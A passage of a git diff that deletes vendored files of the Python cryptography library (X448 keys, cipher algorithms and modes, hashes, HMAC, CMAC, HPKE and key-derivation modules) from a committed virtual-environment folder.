Equivalent to private_bytes(Raw, Raw, NoEncryption()). - """ - - @abc.abstractmethod - def exchange(self, peer_public_key: X25519PublicKey) -> bytes: - """ - Performs a key exchange operation using the provided peer's public key. - """ - - @abc.abstractmethod - def __copy__(self) -> X25519PrivateKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> X25519PrivateKey: - """ - Returns a deep copy. - """ - - -X25519PrivateKey.register(rust_openssl.x25519.X25519PrivateKey) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/x448.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/x448.py deleted file mode 100644 index b9dc8261a2f2fce4ed3482098817c40608665a84..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/x448.py +++ /dev/null @@ -1,137 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc - -from cryptography.exceptions import UnsupportedAlgorithm, _Reasons -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives import _serialization -from cryptography.utils import Buffer - - -class X448PublicKey(metaclass=abc.ABCMeta): - @classmethod - def from_public_bytes(cls, data: bytes) -> X448PublicKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.x448_supported(): - raise UnsupportedAlgorithm( - "X448 is not supported by this version of OpenSSL.", - _Reasons.UNSUPPORTED_EXCHANGE_ALGORITHM, - ) - - return rust_openssl.x448.from_public_bytes(data) - - @abc.abstractmethod - def public_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PublicFormat, - ) -> bytes: - """ - The serialized bytes of the public key. - """ - - @abc.abstractmethod - def public_bytes_raw(self) -> bytes: - """ - The raw bytes of the public key. - Equivalent to public_bytes(Raw, Raw). - """ - - @abc.abstractmethod - def __eq__(self, other: object) -> bool: - """ - Checks equality. - """ - - @abc.abstractmethod - def __copy__(self) -> X448PublicKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> X448PublicKey: - """ - Returns a deep copy. - """ - - -if hasattr(rust_openssl, "x448"): - X448PublicKey.register(rust_openssl.x448.X448PublicKey) - - -class X448PrivateKey(metaclass=abc.ABCMeta): - @classmethod - def generate(cls) -> X448PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.x448_supported(): - raise UnsupportedAlgorithm( - "X448 is not supported by this version of OpenSSL.", - _Reasons.UNSUPPORTED_EXCHANGE_ALGORITHM, - ) - - return rust_openssl.x448.generate_key() - - @classmethod - def from_private_bytes(cls, data: Buffer) -> X448PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.x448_supported(): - raise UnsupportedAlgorithm( - "X448 is not supported by this version of OpenSSL.", - _Reasons.UNSUPPORTED_EXCHANGE_ALGORITHM, - ) - - return rust_openssl.x448.from_private_bytes(data) - - @abc.abstractmethod - def public_key(self) -> X448PublicKey: - """ - Returns the public key associated with this private key - """ - - @abc.abstractmethod - def private_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PrivateFormat, - encryption_algorithm: _serialization.KeySerializationEncryption, - ) -> bytes: - """ - The serialized bytes of the private key. - """ - - @abc.abstractmethod - def private_bytes_raw(self) -> bytes: - """ - The raw bytes of the private key. - Equivalent to private_bytes(Raw, Raw, NoEncryption()). - """ - - @abc.abstractmethod - def exchange(self, peer_public_key: X448PublicKey) -> bytes: - """ - Performs a key exchange operation using the provided peer's public key. - """ - - @abc.abstractmethod - def __copy__(self) -> X448PrivateKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> X448PrivateKey: - """ - Returns a deep copy. - """ - - -if hasattr(rust_openssl, "x448"): - X448PrivateKey.register(rust_openssl.x448.X448PrivateKey) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/ciphers/__init__.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/ciphers/__init__.py deleted file mode 100644 index 10c15d0f5cb36f19ce23b3a4255e92ef27998c9b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/ciphers/__init__.py +++ /dev/null @@ -1,27 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.primitives._cipheralgorithm import ( - BlockCipherAlgorithm, - CipherAlgorithm, -) -from cryptography.hazmat.primitives.ciphers.base import ( - AEADCipherContext, - AEADDecryptionContext, - AEADEncryptionContext, - Cipher, - CipherContext, -) - -__all__ = [ - "AEADCipherContext", - "AEADDecryptionContext", - "AEADEncryptionContext", - "BlockCipherAlgorithm", - "Cipher", - "CipherAlgorithm", - "CipherContext", -] diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/ciphers/aead.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/ciphers/aead.py deleted file mode 100644 index c8a582d7844ddf57670ba657b69b5ac1f20af1d1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/ciphers/aead.py +++ /dev/null @@ -1,23 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl - -__all__ = [ - "AESCCM", - "AESGCM", - "AESGCMSIV", - "AESOCB3", - "AESSIV", - "ChaCha20Poly1305", -] - -AESGCM = rust_openssl.aead.AESGCM -ChaCha20Poly1305 = rust_openssl.aead.ChaCha20Poly1305 -AESCCM = rust_openssl.aead.AESCCM -AESSIV = rust_openssl.aead.AESSIV -AESOCB3 = rust_openssl.aead.AESOCB3 -AESGCMSIV = rust_openssl.aead.AESGCMSIV diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/ciphers/algorithms.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/ciphers/algorithms.py deleted file mode 100644 index 6b20dd57eb428eef216d1d510c8052c48a25fe41..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/ciphers/algorithms.py +++ /dev/null @@ -1,138 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography import utils -from cryptography.hazmat.decrepit.ciphers.algorithms import ( - ARC4 as ARC4, -) -from cryptography.hazmat.decrepit.ciphers.algorithms import ( - CAST5 as CAST5, -) -from cryptography.hazmat.decrepit.ciphers.algorithms import ( - IDEA as IDEA, -) -from cryptography.hazmat.decrepit.ciphers.algorithms import ( - SEED as SEED, -) -from cryptography.hazmat.decrepit.ciphers.algorithms import ( - Blowfish as Blowfish, -) -from cryptography.hazmat.decrepit.ciphers.algorithms import ( - Camellia as Camellia, -) -from cryptography.hazmat.decrepit.ciphers.algorithms import ( - TripleDES as TripleDES, -) -from cryptography.hazmat.primitives._cipheralgorithm import _verify_key_size -from cryptography.hazmat.primitives.ciphers import ( - BlockCipherAlgorithm, - CipherAlgorithm, -) - - -class AES(BlockCipherAlgorithm): - name = "AES" - block_size = 128 - # 512 added to support AES-256-XTS, which uses 512-bit keys - key_sizes = frozenset([128, 192, 256, 512]) - - def __init__(self, key: utils.Buffer): - self.key = _verify_key_size(self, key) - - @property - def key_size(self) -> int: - return len(self.key) * 8 - - -class AES128(BlockCipherAlgorithm): - name = "AES" - block_size = 128 - key_sizes = frozenset([128]) - key_size = 128 - - def __init__(self, key: utils.Buffer): - self.key = _verify_key_size(self, key) - - -class AES256(BlockCipherAlgorithm): - name = "AES" - block_size = 128 - key_sizes = frozenset([256]) - key_size = 256 - - def __init__(self, key: utils.Buffer): - self.key = _verify_key_size(self, key) - - -utils.deprecated( - Camellia, - __name__, - "Camellia has been moved to " - "cryptography.hazmat.decrepit.ciphers.algorithms.Camellia and " - "will be removed from " - "cryptography.hazmat.primitives.ciphers.algorithms in 49.0.0.", - utils.DeprecatedIn43, - name="Camellia", -) - - -utils.deprecated( - ARC4, - __name__, - "ARC4 has been moved to " - "cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and " - "will be removed from " - "cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.", - utils.DeprecatedIn43, - name="ARC4", -) - - -utils.deprecated( - TripleDES, - __name__, - "TripleDES has been moved to " - "cryptography.hazmat.decrepit.ciphers.algorithms.TripleDES and " - "will be removed from " - "cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.", - utils.DeprecatedIn43, - name="TripleDES", -) - - -class ChaCha20(CipherAlgorithm): - name = "ChaCha20" - key_sizes = frozenset([256]) - - def __init__(self, key: utils.Buffer, nonce: utils.Buffer): - self.key = _verify_key_size(self, key) - utils._check_byteslike("nonce", nonce) - - if len(nonce) != 16: - raise ValueError("nonce must be 128-bits (16 bytes)") - - self._nonce = nonce - - @property - def nonce(self) -> utils.Buffer: - return self._nonce - - @property - def key_size(self) -> int: - return len(self.key) * 8 - - -class SM4(BlockCipherAlgorithm): - name = "SM4" - block_size = 128 - key_sizes = frozenset([128]) - - def __init__(self, key: bytes): - self.key = _verify_key_size(self, key) - - @property - def key_size(self) -> int: - return len(self.key) * 8 diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/ciphers/base.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/ciphers/base.py deleted file mode 100644 index 24fceea236cb0f385f4b8c8c8e2e5772d018681b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/ciphers/base.py +++ /dev/null @@ -1,146 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc -import typing - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives._cipheralgorithm import CipherAlgorithm -from cryptography.hazmat.primitives.ciphers import modes -from cryptography.utils import Buffer - - -class CipherContext(metaclass=abc.ABCMeta): - @abc.abstractmethod - def update(self, data: Buffer) -> bytes: - """ - Processes the provided bytes through the cipher and returns the results - as bytes. - """ - - @abc.abstractmethod - def update_into(self, data: Buffer, buf: Buffer) -> int: - """ - Processes the provided bytes and writes the resulting data into the - provided buffer. Returns the number of bytes written. - """ - - @abc.abstractmethod - def finalize(self) -> bytes: - """ - Returns the results of processing the final block as bytes. - """ - - @abc.abstractmethod - def reset_nonce(self, nonce: bytes) -> None: - """ - Resets the nonce for the cipher context to the provided value. - Raises an exception if it does not support reset or if the - provided nonce does not have a valid length. - """ - - -class AEADCipherContext(CipherContext, metaclass=abc.ABCMeta): - @abc.abstractmethod - def authenticate_additional_data(self, data: Buffer) -> None: - """ - Authenticates the provided bytes. - """ - - -class AEADDecryptionContext(AEADCipherContext, metaclass=abc.ABCMeta): - @abc.abstractmethod - def finalize_with_tag(self, tag: bytes) -> bytes: - """ - Returns the results of processing the final block as bytes and allows - delayed passing of the authentication tag. - """ - - -class AEADEncryptionContext(AEADCipherContext, metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def tag(self) -> bytes: - """ - Returns tag bytes. This is only available after encryption is - finalized. - """ - - -Mode = typing.TypeVar( - "Mode", bound=typing.Optional[modes.Mode], covariant=True -) - - -class Cipher(typing.Generic[Mode]): - def __init__( - self, - algorithm: CipherAlgorithm, - mode: Mode, - backend: typing.Any = None, - ) -> None: - if not isinstance(algorithm, CipherAlgorithm): - raise TypeError("Expected interface of CipherAlgorithm.") - - if mode is not None: - # mypy needs this assert to narrow the type from our generic - # type. Maybe it won't some time in the future. - assert isinstance(mode, modes.Mode) - mode.validate_for_algorithm(algorithm) - - self.algorithm = algorithm - self.mode = mode - - @typing.overload - def encryptor( - self: Cipher[modes.ModeWithAuthenticationTag], - ) -> AEADEncryptionContext: ... - - @typing.overload - def encryptor( - self: _CIPHER_TYPE, - ) -> CipherContext: ... - - def encryptor(self): - if isinstance(self.mode, modes.ModeWithAuthenticationTag): - if self.mode.tag is not None: - raise ValueError( - "Authentication tag must be None when encrypting." - ) - - return rust_openssl.ciphers.create_encryption_ctx( - self.algorithm, self.mode - ) - - @typing.overload - def decryptor( - self: Cipher[modes.ModeWithAuthenticationTag], - ) -> AEADDecryptionContext: ... - - @typing.overload - def decryptor( - self: _CIPHER_TYPE, - ) -> CipherContext: ... - - def decryptor(self): - return rust_openssl.ciphers.create_decryption_ctx( - self.algorithm, self.mode - ) - - -_CIPHER_TYPE = Cipher[ - typing.Union[ - modes.ModeWithNonce, - modes.ModeWithTweak, - modes.ECB, - modes.ModeWithInitializationVector, - None, - ] -] - -CipherContext.register(rust_openssl.ciphers.CipherContext) -AEADEncryptionContext.register(rust_openssl.ciphers.AEADEncryptionContext) -AEADDecryptionContext.register(rust_openssl.ciphers.AEADDecryptionContext) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/ciphers/modes.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/ciphers/modes.py deleted file mode 100644 index c2008e97b6258e6226cedf02ee7126d5e1e935b2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/ciphers/modes.py +++ /dev/null @@ -1,192 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography import utils -from cryptography.exceptions import UnsupportedAlgorithm, _Reasons -from cryptography.hazmat.decrepit.ciphers.modes import CFB as CFB -from cryptography.hazmat.decrepit.ciphers.modes import CFB8 as CFB8 -from cryptography.hazmat.decrepit.ciphers.modes import OFB as OFB -from cryptography.hazmat.primitives._cipheralgorithm import ( - BlockCipherAlgorithm, - CipherAlgorithm, -) -from cryptography.hazmat.primitives._modes import ( - Mode as Mode, -) -from cryptography.hazmat.primitives._modes import ( - ModeWithAuthenticationTag as ModeWithAuthenticationTag, -) -from cryptography.hazmat.primitives._modes import ( - ModeWithInitializationVector as ModeWithInitializationVector, -) -from cryptography.hazmat.primitives._modes import ( - ModeWithNonce as ModeWithNonce, -) -from cryptography.hazmat.primitives._modes import ( - ModeWithTweak as ModeWithTweak, -) -from cryptography.hazmat.primitives._modes import ( - _check_aes_key_length, - _check_iv_and_key_length, - _check_nonce_length, -) -from cryptography.hazmat.primitives.ciphers import algorithms - - -class CBC(ModeWithInitializationVector): - name = "CBC" - - def __init__(self, initialization_vector: utils.Buffer): - utils._check_byteslike("initialization_vector", initialization_vector) - self._initialization_vector = initialization_vector - - @property - def initialization_vector(self) -> utils.Buffer: - return self._initialization_vector - - validate_for_algorithm = _check_iv_and_key_length - - -class XTS(ModeWithTweak): - name = "XTS" - - def __init__(self, tweak: utils.Buffer): - utils._check_byteslike("tweak", tweak) - - if len(tweak) != 16: - raise ValueError("tweak must be 128-bits (16 bytes)") - - self._tweak = tweak - - @property - def tweak(self) -> utils.Buffer: - return self._tweak - - def validate_for_algorithm(self, algorithm: CipherAlgorithm) -> None: - if isinstance(algorithm, (algorithms.AES128, algorithms.AES256)): - raise TypeError( - "The AES128 and AES256 classes do not support XTS, please use " - "the standard AES class instead." - ) - - if algorithm.key_size not in (256, 512): - raise ValueError( - "The XTS specification requires a 256-bit key for AES-128-XTS" - " and 512-bit key for AES-256-XTS" - ) - - -class ECB(Mode): - name = "ECB" - - validate_for_algorithm = _check_aes_key_length - - -class CTR(ModeWithNonce): - name = "CTR" - - def __init__(self, nonce: utils.Buffer): - utils._check_byteslike("nonce", nonce) - self._nonce = nonce - - @property - def nonce(self) -> utils.Buffer: - return self._nonce - - def validate_for_algorithm(self, algorithm: CipherAlgorithm) -> None: - _check_aes_key_length(self, algorithm) - _check_nonce_length(self.nonce, self.name, algorithm) - - -class GCM(ModeWithInitializationVector, ModeWithAuthenticationTag): - name = "GCM" - _MAX_ENCRYPTED_BYTES = (2**39 - 256) // 8 - _MAX_AAD_BYTES = (2**64 - 1) // 8 - - def __init__( - self, - initialization_vector: utils.Buffer, - tag: bytes | None = None, - min_tag_length: int = 16, - ): - # OpenSSL 3.0.0 constrains GCM IVs to [64, 1024] bits inclusive - # This is a sane limit anyway so we'll enforce it here. - utils._check_byteslike("initialization_vector", initialization_vector) - if len(initialization_vector) < 8 or len(initialization_vector) > 128: - raise ValueError( - "initialization_vector must be between 8 and 128 bytes (64 " - "and 1024 bits)." - ) - self._initialization_vector = initialization_vector - if min_tag_length < 4: - raise ValueError("min_tag_length must be >= 4") - if tag is not None: - utils._check_bytes("tag", tag) - if len(tag) < min_tag_length: - raise ValueError( - f"Authentication tag must be {min_tag_length} bytes or " - "longer." - ) - self._tag = tag - self._min_tag_length = min_tag_length - - @property - def tag(self) -> bytes | None: - return self._tag - - @property - def initialization_vector(self) -> utils.Buffer: - return self._initialization_vector - - def validate_for_algorithm(self, algorithm: CipherAlgorithm) -> None: - _check_aes_key_length(self, algorithm) - if not isinstance(algorithm, BlockCipherAlgorithm): - raise UnsupportedAlgorithm( - "GCM requires a block cipher algorithm", - _Reasons.UNSUPPORTED_CIPHER, - ) - block_size_bytes = algorithm.block_size // 8 - if self._tag is not None and len(self._tag) > block_size_bytes: - raise ValueError( - f"Authentication tag cannot be more than {block_size_bytes} " - "bytes." - ) - - -utils.deprecated( - OFB, - __name__, - "OFB has been moved to " - "cryptography.hazmat.decrepit.ciphers.modes.OFB and " - "will be removed from " - "cryptography.hazmat.primitives.ciphers.modes in 49.0.0.", - utils.DeprecatedIn47, - name="OFB", -) - - -utils.deprecated( - CFB, - __name__, - "CFB has been moved to " - "cryptography.hazmat.decrepit.ciphers.modes.CFB and " - "will be removed from " - "cryptography.hazmat.primitives.ciphers.modes in 49.0.0.", - utils.DeprecatedIn47, - name="CFB", -) - - -utils.deprecated( - CFB8, - __name__, - "CFB8 has been moved to " - "cryptography.hazmat.decrepit.ciphers.modes.CFB8 and " - "will be removed from " - "cryptography.hazmat.primitives.ciphers.modes in 49.0.0.", - utils.DeprecatedIn47, - name="CFB8", -) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/cmac.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/cmac.py deleted file mode 100644 index 2c67ce2206e4c36c7ab8c4a49ba9d87f07529598..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/cmac.py +++ /dev/null @@ -1,10 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl - -__all__ = ["CMAC"] -CMAC = rust_openssl.cmac.CMAC diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/constant_time.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/constant_time.py deleted file mode 100644 index 3975c7147eb92b56685423aa1c5810adcf253a23..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/constant_time.py +++ /dev/null @@ -1,14 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import hmac - - -def bytes_eq(a: bytes, b: bytes) -> bool: - if not isinstance(a, bytes) or not isinstance(b, bytes): - raise TypeError("a and b must be bytes.") - - return hmac.compare_digest(a, b) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/hashes.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/hashes.py deleted file mode 100644 index 50ed3559c2097e694527be3f9446a90c5ad3a1df..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/hashes.py +++ /dev/null @@ -1,357 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc -import sys - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.utils import Buffer - -__all__ = [ - "MD5", - "SHA1", - "SHA3_224", - "SHA3_256", - "SHA3_384", - "SHA3_512", - "SHA224", - "SHA256", - "SHA384", - "SHA512", - "SHA512_224", - "SHA512_256", - "SHAKE128", - "SHAKE256", - "SM3", - "BLAKE2b", - "BLAKE2s", - "ExtendableOutputFunction", - "Hash", - "HashAlgorithm", - "HashContext", - "XOFHash", -] - - -class HashAlgorithm(metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def name(self) -> str: - """ - A string naming this algorithm (e.g. "sha256", "md5"). - """ - - @property - @abc.abstractmethod - def digest_size(self) -> int: - """ - The size of the resulting digest in bytes. - """ - - @property - @abc.abstractmethod - def block_size(self) -> int | None: - """ - The internal block size of the hash function, or None if the hash - function does not use blocks internally (e.g. SHA3). - """ - - -class HashContext(metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def algorithm(self) -> HashAlgorithm: - """ - A HashAlgorithm that will be used by this context. - """ - - @abc.abstractmethod - def update(self, data: Buffer) -> None: - """ - Processes the provided bytes through the hash. - """ - - @abc.abstractmethod - def finalize(self) -> bytes: - """ - Finalizes the hash context and returns the hash digest as bytes. - """ - - @abc.abstractmethod - def copy(self) -> HashContext: - """ - Return a HashContext that is a copy of the current context. - """ - - -Hash = rust_openssl.hashes.Hash -HashContext.register(Hash) - -XOFHash = rust_openssl.hashes.XOFHash - - -class ExtendableOutputFunction(metaclass=abc.ABCMeta): - """ - An interface for extendable output functions. - """ - - -class SHA1(HashAlgorithm): - name = "sha1" - digest_size = 20 - block_size = 64 - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SHA1): - return NotImplemented - - return True - - -class SHA512_224(HashAlgorithm): # noqa: N801 - name = "sha512-224" - digest_size = 28 - block_size = 128 - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SHA512_224): - return NotImplemented - - return True - - -class SHA512_256(HashAlgorithm): # noqa: N801 - name = "sha512-256" - digest_size = 32 - block_size = 128 - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SHA512_256): - return NotImplemented - - return True - - -class SHA224(HashAlgorithm): - name = "sha224" - digest_size = 28 - block_size = 64 - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SHA224): - return NotImplemented - - return True - - -class SHA256(HashAlgorithm): - name = "sha256" - digest_size = 32 - block_size = 64 - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SHA256): - return NotImplemented - - return True - - -class SHA384(HashAlgorithm): - name = "sha384" - digest_size = 48 - block_size = 128 - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SHA384): - return NotImplemented - - return True - - -class SHA512(HashAlgorithm): - name = "sha512" - digest_size = 64 - block_size = 128 - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SHA512): - return NotImplemented - - return True - - -class SHA3_224(HashAlgorithm): # noqa: N801 - name = "sha3-224" - digest_size = 28 - block_size = None - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SHA3_224): - return NotImplemented - - return True - - -class SHA3_256(HashAlgorithm): # noqa: N801 - name = "sha3-256" - digest_size = 32 - block_size = None - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SHA3_256): - return NotImplemented - - return True - - -class SHA3_384(HashAlgorithm): # noqa: N801 - name = "sha3-384" - digest_size = 48 - block_size = None - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SHA3_384): - return NotImplemented - - return True - - -class SHA3_512(HashAlgorithm): # noqa: N801 - name = "sha3-512" - digest_size = 64 - block_size = None - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SHA3_512): - return NotImplemented - - return True - - -class SHAKE128(HashAlgorithm, ExtendableOutputFunction): - name = "shake128" - block_size = None - - def __init__(self, digest_size: int): - if not isinstance(digest_size, int): - raise TypeError("digest_size must be an integer") - - if digest_size < 1: - raise ValueError("digest_size must be a positive integer") - - self._digest_size = digest_size - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SHAKE128): - return NotImplemented - - return self._digest_size == other._digest_size - - @property - def digest_size(self) -> int: - return self._digest_size - - @classmethod - def xof(cls): - return cls(sys.maxsize) - - -class SHAKE256(HashAlgorithm, ExtendableOutputFunction): - name = "shake256" - block_size = None - - def __init__(self, digest_size: int): - if not isinstance(digest_size, int): - raise TypeError("digest_size must be an integer") - - if digest_size < 1: - raise ValueError("digest_size must be a positive integer") - - self._digest_size = digest_size - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SHAKE256): - return NotImplemented - - return self._digest_size == other._digest_size - - @property - def digest_size(self) -> int: - return self._digest_size - - @classmethod - def xof(cls): - return cls(sys.maxsize) - - -class MD5(HashAlgorithm): - name = "md5" - digest_size = 16 - block_size = 64 - - def __eq__(self, other: object) -> bool: - if not isinstance(other, MD5): - return NotImplemented - - return True - - -class BLAKE2b(HashAlgorithm): - name = "blake2b" - _max_digest_size = 64 - _min_digest_size = 1 - block_size = 128 - - def __init__(self, digest_size: int): - if digest_size != 64: - raise ValueError("Digest size must be 64") - - self._digest_size = digest_size - - def __eq__(self, other: object) -> bool: - if not isinstance(other, BLAKE2b): - return NotImplemented - - return self._digest_size == other._digest_size - - @property - def digest_size(self) -> int: - return self._digest_size - - -class BLAKE2s(HashAlgorithm): - name = "blake2s" - block_size = 64 - _max_digest_size = 32 - _min_digest_size = 1 - - def __init__(self, digest_size: int): - if digest_size != 32: - raise ValueError("Digest size must be 32") - - self._digest_size = digest_size - - def __eq__(self, other: object) -> bool: - if not isinstance(other, BLAKE2s): - return NotImplemented - - return self._digest_size == other._digest_size - - @property - def digest_size(self) -> int: - return self._digest_size - - -class SM3(HashAlgorithm): - name = "sm3" - digest_size = 32 - block_size = 64 - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SM3): - return NotImplemented - - return True diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/hmac.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/hmac.py deleted file mode 100644 index a9442d59ab474ac680ff7253f2ca0e67d0e93c1a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/hmac.py +++ /dev/null @@ -1,13 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives import hashes - -__all__ = ["HMAC"] - -HMAC = rust_openssl.hmac.HMAC -hashes.HashContext.register(HMAC) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/hpke.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/hpke.py deleted file mode 100644 index c80280881f551ba79b5e3b922352431a2da809be..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/hpke.py +++ /dev/null @@ -1,27 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl - -AEAD = rust_openssl.hpke.AEAD -KDF = rust_openssl.hpke.KDF -KEM = rust_openssl.hpke.KEM -MLKEM768X25519PrivateKey = rust_openssl.hpke.MLKEM768X25519PrivateKey -MLKEM768X25519PublicKey = rust_openssl.hpke.MLKEM768X25519PublicKey -MLKEM1024P384PrivateKey = rust_openssl.hpke.MLKEM1024P384PrivateKey -MLKEM1024P384PublicKey = rust_openssl.hpke.MLKEM1024P384PublicKey -Suite = rust_openssl.hpke.Suite - -__all__ = [ - "AEAD", - "KDF", - "KEM", - "MLKEM768X25519PrivateKey", - "MLKEM768X25519PublicKey", - "MLKEM1024P384PrivateKey", - "MLKEM1024P384PublicKey", - "Suite", -] diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/__init__.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/__init__.py deleted file mode 100644 index 26c45bd78f18f0b47085737f6b4fde460d5165e0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/__init__.py +++ /dev/null @@ -1,32 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc - -from cryptography.utils import Buffer - - -class KeyDerivationFunction(metaclass=abc.ABCMeta): - @abc.abstractmethod - def derive(self, key_material: bytes) -> bytes: - """ - Deterministically generates and returns a new key based on the existing - key material. - """ - - @abc.abstractmethod - def derive_into(self, key_material: bytes, buffer: Buffer) -> None: - """ - Deterministically generates a new key based on the existing key - material and stores it in the provided buffer. - """ - - @abc.abstractmethod - def verify(self, key_material: bytes, expected_key: bytes) -> None: - """ - Checks whether the key generated by the key material matches the - expected derived key. Raises an exception if they do not match. - """ diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/argon2.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/argon2.py deleted file mode 100644 index 03e84d48ad41beb77c7be38a6d867535c79d35fd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/argon2.py +++ /dev/null @@ -1,17 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives.kdf import KeyDerivationFunction - -Argon2d = rust_openssl.kdf.Argon2d -Argon2i = rust_openssl.kdf.Argon2i -Argon2id = rust_openssl.kdf.Argon2id -KeyDerivationFunction.register(Argon2d) -KeyDerivationFunction.register(Argon2i) -KeyDerivationFunction.register(Argon2id) - -__all__ = ["Argon2d", "Argon2i", "Argon2id"] diff 